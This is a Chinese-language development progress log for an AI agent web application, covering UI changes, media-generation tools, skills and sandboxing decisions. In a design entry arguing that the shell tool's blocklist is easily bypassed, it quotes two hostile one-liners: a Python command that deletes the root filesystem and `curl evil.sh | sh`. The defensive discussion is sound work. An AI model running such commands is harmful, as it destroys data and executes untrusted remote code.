zcbot/PROGRESS.md

212 lines
41 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 实施进度
> 配合 `DESIGN.md`。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 `git log` / `git diff` / `DESIGN §7.9`。
最后更新:2026-05-22(对外路径协议刚性化:system 强约束 + UI 一次性兼容)
---
## 状态
| Phase | 标题 | 状态 | 备注 |
|---|---|---|---|
| 1-3 | 骨架 + Skill + run_python | ✅ | 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen);CoreCoder 唯一匹配 edit;敏感 env 过滤 |
| 4 | 演化性能力 | 🟡 | Model Profile + Probing ✅;版本化 prompt 未做 |
| 5 | Eval Suite | ⏸ 不做 | dogfooding 替代,probe 覆盖健康检查 |
| 6 | 长任务工程化 | 🟡 | task + 恢复 ✅;双层记忆 ✅;context 压缩未做 |
| 7 | 打磨 | ❌ | Docker 沙盒 / 更多 skill |
| §7 SaaS | DESIGN §7 路线 | 🟡 | A 事件流化 ✅;B 完工 ✅;D `/v1` JSON API ✅;D' 过渡 auth + dev SPA ✅;单活 run 锁 + cancel ✅;0004 schema 瘦身 ✅;入口归位 ✅;真 OIDC 待;**C(Executor+docker sandbox)待 —— 外部用户开放 hard prereq,完成前仅 dogfood + 信任同事白名单**。 |
---
## 已完成关键能力
### 2026-05-22
- **"+ 新建任务"按钮从 header 挪到任务面板 pane-head**:`web/static/dev.html` `#hd-new` 节点直接在 HTML 里挪到 `#pane-left` 第一行 `.pane-head`(spacer 之后、`#filter-status` 之前),加 `small` 跟周边按钮对齐高度,保持 `primary` 红底显眼。语义更贴(新建任务 = 任务面板的动作);顶栏减负只剩身份区(brand / 用户名 / 退出登录);两种模式 DOM 一致,顺手删了 `embedInit` 里动态 `insertBefore` 那段。`@media phone` 段那条 `#hd-new` 紧凑覆盖照常生效。
- **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=...`)**:`web/static/dev.html` 加 embed 模式 — 父页面 iframe 嵌入时藏左上 brand / 顶栏 `#hd-who` / 退出登录按钮(桌面段整层 header `display:none`,移动段保留 header 给 `.mobile-tabs` 切换用),JS `embedInit``#hd-new`("+ 新建任务")从 header 节点移到任务面板 pane-head(spacer 之后、`#filter-status` 之前,加 `small` class 跟周边按钮对齐高度)。postMessage 协议:iframe 启动发 `{type:"zcbot-ready"}` 给父端,父端调自家后端用 `PLATFORM_KEY` 走 zcbot 已有的 `POST /v1/auth/login` 拿 JWT,通过 `{type:"zcbot-token", token, user_id, user_name?}` 推回 iframe;iframe 写 localStorage + `enterApp()`。401 时改写 `logout()` 不再 `location.reload()`,而是发 `{type:"zcbot-401"}` 通知父端重换 token,期间显灰底等待层(`#embed-waiting` spinner + 文案);新加 css class `body.embed-mode` / `body.embed-mode.embed-waiting` 控制可见性。**安全要点**:`event.origin` 双向校验(白名单 = URL 参数 `parent_origin`),缺参数直接显错误占位拒收;`PLATFORM_KEY` 留在 platform 后端绝不下发浏览器。`web/EMBED.md` 写给 platform 工程的对接手册(URL / 协议 / Node/Python 后端示例 / 父端前端示例 / CORS / CSP frame-ancestors 收紧建议 / 调试 + 故障兜底表)。否决:(a) URL 参数直接传 token —— Referer / 浏览器历史泄漏面;(b) 同源 + 共享 localStorage —— 用户明确说不同源;(c) 拆 dev.html 进 platform SPA route —— 工作量爆炸。
- **dev SPA chat-input 支持 Ctrl+V 粘贴文件上传 + chat-hint 反馈**:`web/static/dev.html` 给 `#chat-input``paste` 监听 —— `e.clipboardData.files` 非空时 `preventDefault` + 复用现有 `uploadFiles(files)``/v1/files/upload` 落到 `state.filesPath`(与拖拽到右 pane 同通路);纯文本粘贴走默认不拦。`uploadFiles` 改返回 bool(成功 true / 失败 false,原 alert 行为不变);粘贴 handler 通过 `chat-hint` 广播 "上传中:<name>…" → "已粘贴:<name>"(4s 后回前一个 hint,同 `optimizePrompt` 救回范式,不破坏 streaming/optimizing 期间的状态)。失败仍走 alert,hint 立即恢复。placeholder 提示加 `Ctrl+V 可粘贴文件`。常见场景:截图后直接 Ctrl+V 入对话区当作素材上传,免去切窗口走右 pane 拖拽。
- **dev SPA 文件预览弹框让出 chat-form 高度(打开期间输入区仍可点可打字)**:`web/static/dev.html` 给 `#file-preview-modal``bottom: var(--preview-bottom-inset, 0)` —— 默认 0 行为不变,`openFilePreview` 时 JS 量 `#chat-form.offsetHeight`(隐藏走 `offsetParent` 判空 → 0,无活动任务恢复全屏)写到弹框元素 inline style 上;`.card` 加 `max-height: calc(100vh - var(...) - 32px)` 让卡片随容器收缩不溢出,手机段同理用 `100dvh`。`closeFilePreview` `removeProperty` 清掉避免下次冗余。弹框遮罩本身物理上不覆盖底部输入区 → chat-form 自然可点击/打字,Esc 与点遮罩关闭逻辑不动。否决:(a) 整窗 `pointer-events: none` + card 收回 —— 遮罩物理还在覆盖,视觉仍遮挡;(b) 弹框抽进 `#pane-mid` 内 absolute —— 弹框来源含 `#pane-right` 文件列表和聊天 chip,挂 mid 内会限制弹框只能在 mid 列,且 `#pane-mid` 多层 flex 嵌套要重排;(c) 硬编一个常量 `bottom: 140px` —— chat-form 高度依据 textarea 用户拖拽变化(min 60 但可拉高),JS 量一次足够准。
- **对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容)**:`prompts/system/general_v1.md`「路径」段加规则 —— 助手对外 echo 产物路径必须用 user_root 相对全形式 `<wd_name>/<rel>`(`<wd_name>` = task_dir 末段,如 `生图测试/videos/xxx.mp4` / `基金申报/sections/01-绪论.md` / `公司汇报/slides/deck.pptx`),不简写为 `videos/xxx.mp4` 这种 task 内裸形式(Web UI 按 `<wd_name>/` 前缀挂 chip,简写 → chip 失效用户点不开)。媒体 tool(`seedream` / `seedance`)的 `saved:` 行已是规范全形式可直接照抄,其他场景(ppt / proposal / coding 等 run_python/write 写文件)自己拼。**跨所有产物 skill 统一生效**(不止 imagegen/videogen)。`skills/imagegen/SKILL.md` + `skills/videogen/SKILL.md` 把原有"把 `saved: xxx` 告诉用户"重复教学改成"照抄 saved 行,详见 system「路径」段"(消除 skill 内具体写法 → 协议归一到 system,新产物 skill 不用重复教育)。ppt/proposal/coding 等 SKILL **不动** —— 它们只泛说"告诉用户文件路径"没教错,system 协议升级后助手自然按全形式 echo,加 skill 提醒反而是协议漂移源。`web/static/dev.html::extractArtifactRels` 加一次性兼容兜底:产物目录裸路径 `videos/xxx.<ext>` / `figures/xxx.<ext>`(协议刚性前历史简写)prepend `<wdName>/` 拼成 user_root rel —— 白名单显式枚举两项不扩展、长期老消息归档后整段可删。**术语校准**:前缀叫 `<wd_name>`(working_dir 最后一段)而非 `<task_name>` —— 用户允许 `wd_name ≠ task_name`(`build_agent` wd_raw 走 working_dir 字段独立可指定),`_display` 锚 user_root 出来的是 `<wd_name>`,SKILL/system 早期写 `task_name` 在分叉场景下会误导助手拼错前缀。否决:(a) 后端 `_display` 改 task-relative 让 tool 输出本身就裸 —— `Tool` 基类 + fs/skill_tool/seedream/seedance/agent_builder/smoke 改 8 个文件,且 fs 跨 task 时要分层 fallback(working_dir → user_root → 绝对),复杂度超过收益;(b) 后端补 HEAD 探针让前端验文件存在再挂 chip —— 工程量与开发期需求不匹配;(c) 白名单常驻服务所有简写形式 —— 维护负担+清单可能膨胀,改成"一次性兼容历史消息"角色后边界清晰;(d) 每个写产物的 SKILL 各加一句"按 system 协议" —— 协议漂移源,违反"system 谈通用、SKILL 谈领域"边界。
- **dev SPA 手机自适应:两档断点 + tab 单列**:`web/static/dev.html` 加 `@media`,**平板段(641-1024px)**纯 CSS 强制 rail(grid `40px 1fr 260px` + 左 pane 子项 `display:none` + 留 toggle 按钮),不写 localStorage —— 回桌面用户原偏好仍生效。**手机段(≤640px)**单列布局 grid `1fr` + `grid-template-areas:"head" "main"`,三 pane 都 `grid-area: main` 且默认 `display:none`,新加 `body.mv-{left,mid,right}` 控制当前可见 pane;header 加 `.mobile-tabs`(任务/对话/文件)桌面 `display:none`,手机段 `order:99 + flex-basis:100%` 换行铺底;`selectTask` 末加 `if (mqPhone.matches) setMobileView("mv-mid")` 选中任务自动切对话。`applyMobileMode()` 监听 `matchMedia("(max-width: 640px)")`,进手机时清 DOM 上的 `left-collapsed` class(localStorage 不动),回桌面再 `applyLeftCollapsed(读 localStorage)` 恢复。`100vh → 100dvh` 解决 iOS Safari 工具栏挤压;`textarea / input` 强制 ≥16px 防 focus 双指缩放;4 个 modal 卡片宽度从固定 px 改 `min(92vw, …)`,file-preview 改 `100vw × 100dvh` 全屏化。`#pane-toggle-left { display:none !important; }` 手机不允许折叠避免与 tab 切换语义冲突。否决:(a) 抽屉式(要写遮罩+手势 JS,自用工具不划算);(b) 只缩字号不改布局(三列在 360px 屏字段严重截断)。
- **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`config/media/doubao.yaml` 展开 video 段(`seedance_2_fast`:¥37/Mtok 文生 / ¥22/Mtok 图生,实测档位 480p 5s ¥1.86 / 720p 5s ¥4.00 — 由 token 公式 `(in+out)×W×H×fps/1024` 反推校验通过);`tools/seedance.py` 走 ark POST `/contents/generations/tasks` → 5s 间隔轮询 → succeeded 后 download mp4 + .meta.json 落 `<wd>/videos/<ts>-<rand>.mp4`,失败/cancel 不计费;`core/storage/usage.py::record_video_usage` 多态 units snapshot(resolution/duration/ratio/fps/tokens/单价);`build_agent` 加 `video_variant` + `cancel_check` 形参 — cancel_check 必须在 build 阶段传(SeedanceTool ctor 持有用于轮询期间响应停止按钮,改了原"build 后赋 agent.cancel_check"的延迟绑定,web 入口同步迁移);`web/app.py` 加 `_list_video_variants` / `_resolve_video_model` / `GET /v1/video_models` / `MessageRequest.video_model` / `OptimizePromptRequest.video_model`;`dev.html` 顶栏第三下拉 + `state.videoModels/videoModel` + 发消息一起 POST。前端 chip / inline `<video>` / `extractMediaBanner` / `_categorize` 在前期工作里已为 seedance 留好脚手架,几乎不动。`skills/videogen/SKILL.md` 六维诊断把 imagegen 的"光线"换成"运动+镜头"两维(运动必填,否则应该走 seedream 而非 seedance —— 差 18 倍价钱);BLOCKING 门槛比 imagegen 更严(¥4 vs ¥0.22)且要等 30-90s,贴 prompt+参数+预计花费+预计等待四件套等明确确认。`general_v1.md` 加 seedance 触发指引(平行 seedream)。phase 1 仅 t2v,**不支持 i2v**(skill 明示告诉用户)。fast 上限 720p,1080p+ 留给 pro variant(yaml 当前未配)。否决:(a) progress 事件流化(需要给 tool 加 sink 注入,phase 1 用 `run_status=running` 够了);(b) 远端 cgt-task DELETE(Volcengine 无明确 API,best-effort 不动);(c) i2v phase 1 拉进来(要图片转 URL + UI 选已有图,延后)。
### 2026-05-21
- **dev.html primary button hover 文字消失修复(`.primary:hover` 加 `background: var(--accent)`)**:`button:hover:not(:disabled)` 与 `button.primary:hover` 特异性同为 (0,2,1) 平手按源码序后者赢,但后者只声明了 `filter: brightness(1.08)` 没声明 `background`,导致 `background` fallback 到前者的 `var(--hover)` 浅灰,而 `color` 仍是 `.primary` 的白 —— 白字浅灰底视觉消失。修法守住 background = accent,brightness filter 在红底上正常提亮。"+ 新建任务" / "发送" 两个 primary 按钮 hover 体验回归。
- **sandbox 阻塞地位写进 DESIGN(§7.7 Stage C 标 hard prereq / §7.8 加 shell+run_python 无沙箱风险行 / §7.9 加"不在工具层加强黑名单"取舍 2026-05-21)**:用户提出"模型写危险 sh 命令直接执行就炸了"担忧,确认风险真实但分两层 —— 本地 dogfood blast radius 限自身,§5 less-scaffolding-more-trust 适用;SaaS 外部开放则 blast radius = 主机 + 跨 user 数据 + cloud IAM,信任模型完全变。`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd /` 全能过),不在它上面继续加规则 —— 命令注入图灵完备,黑名单 fundamentally broken,做复杂只给虚假安全感且误伤合法用法。正确防线在 OS 层 §7.5(per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup),Stage C 是开放外部用户的 hard prereq。否决了"shell=False + 拒管道 / 重定向 / `$()`"折中 —— 挡不住 `python -c` 间接路径且砍掉合法用法。
- **dev.html CSS 精简 + 圆角降档 + modal 基类化(style 块 589 → 522 行,-11%)**:为了"没那么圆润"统一调整。引入 CSS tokens:① 语义色组 `--c-green/blue/purple/orange/red` + 同色 `-bg/-bd` 三件套,顶栏 5 个按钮 hover + dd-item + badge.completed + sp-copy/sp-move 全切到 token(同色 selector 合并:export ≈ sp-copy 蓝、abandon ≈ sp-move 橙,各省 1 条规则);② 圆角分档 `--r-sm/md/lg/xl` = 3/4/6/8px,主流 button/input/msg/menu 从 6px 降到 4px,modal card 从 8~12px 降到 6~8px,art-chip 999px 保留(胶囊语言);③ `--mono`/`--t`/`--shadow-card` 收敛重复 font-family/transition/box-shadow。④ 4 个 modal(`#admin-modal/#src-picker-modal/#new-task-modal/#file-preview-modal`)抽 `.modal` 基类(fixed/inset/bg/display/.show 五属性合并),id 选择器只留 z-index + 宽高差异;HTML 同步加 `class="modal"`(JS `classList.add("show")` 不动)。⑤ `.msg .body` 与 file-preview `.md-render` 合并 markdown 渲染规则(`.msg .body x, .md-render x { ... }`,从两套 17 条缩到一套 17 条多 selector)。⑥ `button:disabled` 全局兜底,删散落 2 处单独写;`#login input:focus` 与 `#admin-modal input:focus` 合并(规则一字不差)。`.dev-item.act-export/rename` 同色合并到一行。功能 0 改动,JS 完全不动;`.dd-item` 颜色微变(原 #2e7d32#27ae60 等,因为统一到 5 组色 token)是可接受的副作用。
- **工作目录回到原生 `<select>` + sentinel + 二级 input(modal + 顶部 filter)**:combobox 方案推翻 —— 即使 show 时不过滤,modal 里 wd 因联动有值之后用户的直觉仍然是"我得点开下拉看选项",自己实现的 panel 总不如浏览器原生 select 稳。改回 select 范式:① modal `nt-wd-sel` 第一项 sentinel `+ 新建「<name>」`(label 由 `updateSentinelLabel` 跟 name 实时刷)+ 其后已有目录列表;sentinel 选中时显示二级 `nt-wd-new` 输入框默认值跟随 name,选已有目录时隐藏。`wdManuallyEdited` 锚到二级 input 上(用户改它就脱钩,清空恢复跟随)。② 顶部 `filter-wd` 也改成 `<select>`,首项 `(全部目录)`,onchange → `loadTaskList`;原 input 的 debounce listener 删,搜索 `filter-q` 的 debounce 保留独立写。③ `loadFolderSuggestions` 拉数据 + 新增 `populateFolderSelects` 灌两个 select(保留当前选中值);`enterApp` 启动时 fire-and-forget 预拉一次让左 pane 一打开就有选项。④ hint 在"输入新名恰好命中已有"时提示"将复用而非新建"。combobox 工厂 + .combo CSS + datalist 残留全删。
- **新建任务弹窗工作目录改 combobox + name 联动**:`web/static/dev.html` modal 里 `nt-wd-sel``<select>` 改成 `<input list="folders-datalist">`,删 `+ 新建目录…` sentinel + 二级 `nt-wd-new` 输入框;加 `wdManuallyEdited` flag —— name 输入时若 flag=false 自动同步到 wd(programmatic 改 value 不触发 wd input 事件不会假阳性),wd 非空输入置 flag=true 脱钩,wd 清空重置 flag=false 但保持空(避免 backspace 想换名字时被立刻填回打断);submit 保留 `working_dir || name` fallback 兜底空值。`loadFolderSuggestions` 不再渲染 select options,只灌共享 datalist + 缓存到 `state.folders` 供 hint 比对"命中已有/新建"。label 文案 `(可选,留空 → 用任务名...)``(默认跟随任务名;可输入新名或选已有目录复用)`,更直观。
- **system prompt 注入 task 预选 skill 提示**:`core/agent_builder.py::_build_system_prompt` 加 `task_skill` 参数,非空时在"工作目录与 task 上下文"段加一行 `- **task 预选 skill**: \`<name>\` — 用户创建时声明的主 skill`;空字符串走老路径,prompt 字节级一致。LLM 拿到这条事实 + `general_v1.md:17-23` 已有的"对应 skill 领域先 load_skill" 规则自然组合 → 主动 load。否决"直接把完整 SKILL.md 预注入 prompt"方案 —— 那会把 `tasks.skill` 从 metadata 升格成 binding,需要同步改 DESIGN.md / 想清楚 PATCH 改 skill 的语义,投入产出比不划算;轻量提示保渐进披露三层架构不动。
- **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt 给用户 + BLOCKING 等确认硬约束**:用户反馈之前流程"模糊就问"不够,清楚的描述也可能模型脑里和用户脑里对不上,事后看图才发现白烧 ¥0.22。改:① 顶部流程一句话加"⛔ 把 prompt 完整贴给用户看 + 问改不改 → 用户明确确认后 → 调 seedream"步骤;② 加「调 tool 前的强制门(铁律)」段定义回复分类(可以/OK/画吧/嗯 算确认;改 X → 重贴重等;沉默/追问别的 → 继续等;模棱两可 → 追问到明确);③ 加「调 tool 前再过一道」段给具体贴 prompt 的对话格式(代码块 + 参数清单 + 预计花费 + 一句"开烧?改什么?");④ 调用范式段加"前置条件:已拿到明确确认才调";⑤ 反模式加两条(没贴就调 / 模棱两可当确认)。本质是把"模型脑内装配"摊到对话层让用户最后过一眼,装配 ≠ 授权调用。:用户反馈 skill 缺图片比例引导。原 SKILL 里 size 表写"比例只能正方形"是基于 doubao.yaml + tool 参数描述只列三个正方形例子的间接推断,无验证。改:① 诊断五维 → 六维,加"比例/尺寸"(ppt 16:9 / 海报 9:16 / 头像 1:1 / 公众号 2.35:1 / 书籍 3:4);② 一次性追问范式加比例项,上下文推断里给"做 ppt/海报/公众号/学术示意"四种用途的默认比例;③ size 参数表重写成"按用途选比例,再选分辨率",列常见 size 参考值 + 明确"非方形是按比例算的参考值,豆包是否原生支持需首次小调用验证";④ 失败解药表加比例错(改 size 不动 prompt)+ API 报错回退默认两条;⑤ 反模式加"不问比例就默认走 yaml 1:1"。承认 unknown:豆包 5.0 实际支持哪些非方形 size 没验证,首次用错就回退默认 + 让用户协商,不臆造。:两根因 —— ① `general_v1.md` 「媒体生成工具」段把 `seedream` 写成一级直觉(列了"画/出/来张"等关键词 + 直接调 tool 的 how-to),压过 skill discovery block 的微弱声音;② imagegen description 关键词覆盖窄(没有"画/绘制/艺术图/图片"等朴素词)。修法:system prompt 那段改成"调 seedream 前**必须先 `load_skill('imagegen')`**",细节判断全移到 skill 里,只留 ¥0.22 计费 + 不装饰生成 + 不连发三条兜底硬约束;imagegen description 扩 17 个触发词(画/绘制/出图/来张/艺术图/写实图/场景图...)。两层联动:一级 prompt 指引到 skill,二级 description 提匹配概率。
- **新增 imagegen skill(引导用户说清楚生图需求)**:`skills/imagegen/SKILL.md` 单文件(参考 coding skill 范式无 scripts/references)。核心是"先诊断模糊度 → 一次性给推断 + 待确认项 → 用户拍板 → 装配 prompt → 调 `seedream` tool"五步法,防止用户一句"画个 XX"就直接烧 ¥0.22。五维清单(主体/场景/风格/构图/光线)缺 2 维以上就先问;mermaid vs seedream 选型给"默认倾向 mermaid + 反向选 seedream 信号 + 模糊时主动一句话问用户"三段式(没在 system prompt 那段流程图优先 mermaid 上一刀切,留 skill 层细化判断);size/watermark/search 默认值取舍 + 失败不复发的解药表 + 8 条反模式。`seedream` tool 本身不动,skill 仅是流程引导层。
- **登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示**:`web/auth.py` 加 `create_user()` helper(CLI/web 共用,避免漂移)+ `AuthConfig.admin_token``ZCBOT_ADMIN_TOKEN` env 读(未设 → None);`web/app.py` 加 `POST /v1/auth/admin/create_user` 校验共享口令后落库(503/403/400/409 分支);前端 `dev.html` 登录卡片右下加 ghost link + 弹窗(email/密码/管理员口令),成功后回填邮箱到登录表单提示"已创建请登录",不自动登录;同时删 chat 顶栏 `${n_messages} 条 · ${tokens} tok` 一行(与左 task 列表重复)。否决"User 表加 is_admin 列 + 管理员 JWT"方案 —— 开发期成本不划算,env 共享口令(类 PLATFORM_KEY 范式)够用。
- **新增 documents skill(内部材料学科知识库 document_search API)**:`skills/documents/{SKILL.md, client.py}`,四函数 `list_kb / search / download / health`;走 `https://ai.ctc-zc.com:8100/api` Bearer 认证,env `DOCUMENT_SEARCH_API_KEY` + `DOCUMENT_SEARCH_URL`(可覆盖);search 默认返 `md_content`(整篇 Markdown 50K-200K 字符级),SKILL.md 反模式约束"只 print 前 300 字"防爆上下文;smoke 验证发现库实质是 7 个材料学科预收的英文学术论文(胶凝/陶瓷/玻璃/晶体/复合/耐火/检验检测,21W+ 文件)+ 跨语言语义检索,SKILL.md 据此校准(原写"主语料中文"是错的);与 research(OpenAlex)互补,documents 已 Markdown 化对 LLM 更友好,但仅覆盖材料领域。
- **dev SPA SSE 客户端重连(覆盖 --reload 抖动)**:`fetchSse` 拆出 `consumeSseStream` + 包重连壳(1s/2s/4s 退避,最多 3 次);reader EOF 未见 done/error 算异常关流触发重连;后端 `stream_events` 入口检 `tasks.run_status`,非 running/cancelling 立即吐 done 关流(否则进程重启后新 broker 内存空,客户端会无限挂 ping)。3 次仍失败 → 卡片末尾红色"连接已断开,请重发"。断开期间 LLM delta 丢失,接受。
- **research skill 三次迭代 fetch_pdf 改走静态直链**:`fetch_pdf` 跟 `fetch_xml` 同范式,从 `paper["pdf_url"]` 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5 PASS。
- **research skill 二次迭代 list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引**:serializer 后端拼直链(避免 LLM 拿 stale URL),`0006_pg_trgm` 给 title/first_author/institution 加 GIN 把 `?search=xxx` 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"原则(XML 已结构化免 OCR)。
- **顶栏 token 累计修(sync_task_tokens 改走 messages SUM)**:5/20 切 streaming 后 `LLM.TokenCounter` 内存计数器永不更新;删 TokenCounter 整个类,`sync_task_tokens` 改 `SELECT SUM(tokens_in/out) FROM messages WHERE task_id=?` 现算;backfill 4 个 task。
- **同 wd 并发软警告 banner + `/v1/tasks``run_status` 筛选**:Claude Code 同款"信任 + 软警告"范式;`selectTask` + SSE 收尾两点拉同 wd running task,黄底 banner 提示邻居;task header `📁 wd` 仅在 name≠wdName 时显示。否决了 γ 硬挡 / short_id 全产物隔离 / clone task 三方案(详见 DESIGN §7.9 2026-05-21)。
- **paper_server → research skill**:范式判断走 skill(非 tool / 非 MCP / 非裸 httpx),`skills/research/{SKILL.md, paper.py}`,三函数 `search / get_paper / fetch_pdf`;`run_python` 注入 `PYTHONPATH=base_dir` 让子进程能 `from skills.research.paper import`;paper_server 侧补 retrieve 端点 + `PaperFilterSet` + serializer 加 abstract。
### 2026-05-20
- **dev SPA chip 二次校准**:工具 I/O 走产物白名单(seedream/seedance);助手正文 echo 路径无条件挂 chip 绕开 seenRels + 强制 `allowInlineMedia=false`(防同图二次 inline)。
- **chip 维度解绑产物工具白名单 + `renderArtifactBarHtml``allowInlineMedia` 参数**:gate 降级到"图片/视频是否 inline"层,chip 不再受产物白名单限。
- **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本来就有 `name`,缺它导致历史回放无 banner / 无 chip;一行 fix + 幂等脚本回填 17 条。
- **chip 抽取改产物工具白名单门控**:`ARTIFACT_PRODUCING_TOOLS = {seedream, seedance}`,grep/read/shell 等通用工具结果里 echo 的路径不再误挂 chip;assistant 正文不门控(seenRels 兜底)。
- **dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮**:`POST /v1/tasks/{id}/optimize_prompt` 同步走 task.model_profile 装配 LLM,meta-prompt 含当前模型 + image variant 元数据;execCommand 插入接入 textarea 原生 undo 栈;计费写 `usage_events.kind="prompt_optimize"`,**不**调 `sync_task_tokens` 不污染顶栏。
- **中间产物 chip / inline 图去重 + CLAUDE.md 加"实施前先对方案"段**:`renderMessages` 顶部建 `seenRels` Set + `pickFresh` 闭包给 5 个渲染点共享;CLAUDE.md 新规:非平凡改动动手前先口头对方案。
- **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml image 段;`build_agent(image_variant=...)` 装 SeedreamTool;`renderArtifactBarHtml` 按 `_categorize(rel)` 分支,image/video 走 blob URL inline,异步 `upgradeMediaArtifacts` 替换占位;切 task 时 `_flushMediaArtifactCache` 回收 blob。
- **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `litellm.stream_chunk_builder` 拼回 response,chunk 间 poll cancel;前端打字机靠 `_emit("text", delta=...)` 激活(原有渲染逻辑早就备好);`#chat-action` 按 `state.streaming` 切发送/停止/停止中三态。
- **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=... · size=... · cost=¥... · elapsed=...s`,前端正则 parse 挂折叠态徽章。
- **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`config/media/doubao.yaml` 独立命名空间(`ARK_API_KEY` env),`tools/seedream.py` 走 `core/ark_client.py` 同步调 `/images/generations`,产物落 `<wd>/figures/<ts>-<rand>.png` + 同名 .meta.json;`record_image_usage` 把 `price_cny_per_image` snapshot 进 units jsonb(调价防漂移);0007 全表 ×7.2 一次性折 CNY;**仅当 ARK_API_KEY 设了才挂 tool**。
- **`POST /v1/files/delete` 加 `recursive` + 顶层目录 task 引用闸**:`recursive=True` 走 `shutil.rmtree`;顶层目录被 task 引用 → 409"先 DELETE task 再清";前端非空目录二次确认带子项数。
- **fs tool 输出渲染 user_root-relative 路径**:`tools/base.py::Tool` 加 `user_root` + `_display(p)` helper,fs.py 五 tool 所有结果串走 helper;chip 锚点用 `_workingDirName` 取末段(绝对路径返空);assistant 正文也挂 chip。根因消 chip 404 + 防 uuid/部署根泄漏。
- **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running 状态 + `DELETE messages` + reset task 三列累计 + run_status='idle';**usage_events 全不动**(账单 source of truth)。
- **dev SPA chip 一期(对话内 tool_call/result 挂 artifact chip)**:`extractArtifactRels` 正则锚定 `<wd>/...` + 末段需含 `.`(滤目录);`.art-chip` 点击委托 `openFilePreview`
- **task 级宪法文件 spec 命名约定 + `spec_lock``spec` 简化**:`<YYYY-MM-DD>-<task_short_id>-<task_name>.spec.md`,short_id 作主锚 + glob 字典序最大 = current;`_build_system_prompt` 注入 task_id / today;proposal/ppt SKILL.md 加"先 glob 检 spec → 询问沿用/重定调"分支。
- **dev SPA 左 pane 折叠改 VS Code rail 模式 + time-ago 锁宽跨行对齐**:`body.left-collapsed` 用 `grid-template-columns: 40px 1fr 320px`,只显折叠按钮;`time-ago` 加 `flex-shrink:0; min-width:64px` 让 [N 条][N tok][time] 整组位置稳。
- **任务行 meta 数字槽位跨行对齐**:`tabular-nums` + `.num{flex-shrink:0;text-align:right;min-width:44px}` + `fmtTokens(n)` 桶分级(1.2k / 123k);折叠按钮拆双入口(pane / header)。
- **dev SPA 左 pane 调宽 280→320px + 行精简 meta**:删 id8 span 挪到 row title hover;副行恢复 inline ellipsis 三件套;`white-space:nowrap` 防 CJK 断行。
- **任务列表 pager bar → IntersectionObserver 滚动加载**:`loadTaskList({append})` 双语义 + `_taskLoadSeq` token 抢占式;sentinel 三态文案;首 pane-head 补"共 N 个"总数显示。
- **任务行加最近操作时间(`updated_at` + `fmtTimeAgo`)**:相对时间分级(刚刚 / N 分钟前 / N 小时前 / 昨天 HH:MM / MM-DD HH:MM / YYYY-MM-DD)+ title hover 完整时间。
- **新建任务弹框工作目录改 `<select>` 下拉**:含 `+ 新建目录…` sentinel 触发备用 input;`loadFolderSuggestions` 同次灌 select + datalist(后者只服务左 pane filter)。
- **dev SPA 主页轻量美化**:header brand wrapper(24px 红渐变 Z logo)+ pane-head 子层级 + 顶栏按钮"中性 → hover 上语义色" + 圆角 4→6 / modal 6→8 + 阴影加深。
- **`config/models/glm.yaml`:智谱 GLM 5.1 接入(litellm zai provider + bigmodel.cn)**:`zai/glm-5.1` + `api_base=https://open.bigmodel.cn/api/paas/v4` 覆盖国际站默认;env `ZHIPUAI_API_KEY`;**thinking_mode=false**(GLM 协议是 `extra_body.thinking.type=enabled` 与 OpenAI/DeepSeek reasoning_effort 不同,留 TODO)。
- **files SPA UX 翻面(destination-first)+ 拖拽上传 + 修 checkbox 全局 width bug**:模型从 select-then-pick-dest 改 at-dest-pull-sources;`input{width:100%}` 选择器排除 checkbox/radio/file;`#pane-right` 监听拖拽 + 红虚线 overlay 落 `state.filesPath`
- **`POST /v1/files/{copy,move}` 跨目录批量搬动**:`_validate_transfer` 预检 helper 批量原子校验;move 加顶层目录 task 引用闸(维持"working_dir = 顶层目录"invariant),copy 无此闸。
- **working_dir 视为可重生 FS 视图**:DB source of truth,FS 目录可独立删 / 用户手动 rmtree / 跨机器迁移丢失,下次跑自动 mkdir 重建;DELETE task 后空目录 best-effort rmdir 清孤儿;files delete 顶层目录闸去掉。
### 2026-05-19
- **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 即换(A 粒度下条 send 生效);`GET /v1/models` 扫 yaml;message 历史按 `messages.model_profile` 切换点画 `── DeepSeek V4 Pro ──`;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。
- **dev SPA 登录撤回 邮箱+密码,删 invites 表**:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt 哈希;`/v1/auth/login_password` + `user add` CLI;dev SPA 双 tab 登录(last-used LS 持久化)。
- **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删 import / fallback;`build_agent` 加 `*` 让 user_id 必填(typechecker 拦多 user 函数)。
- **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(`#floating-menu` position:fixed)避开 pane overflow 裁剪;`tool_result` 事件 debounce 500ms 刷新文件 panel。
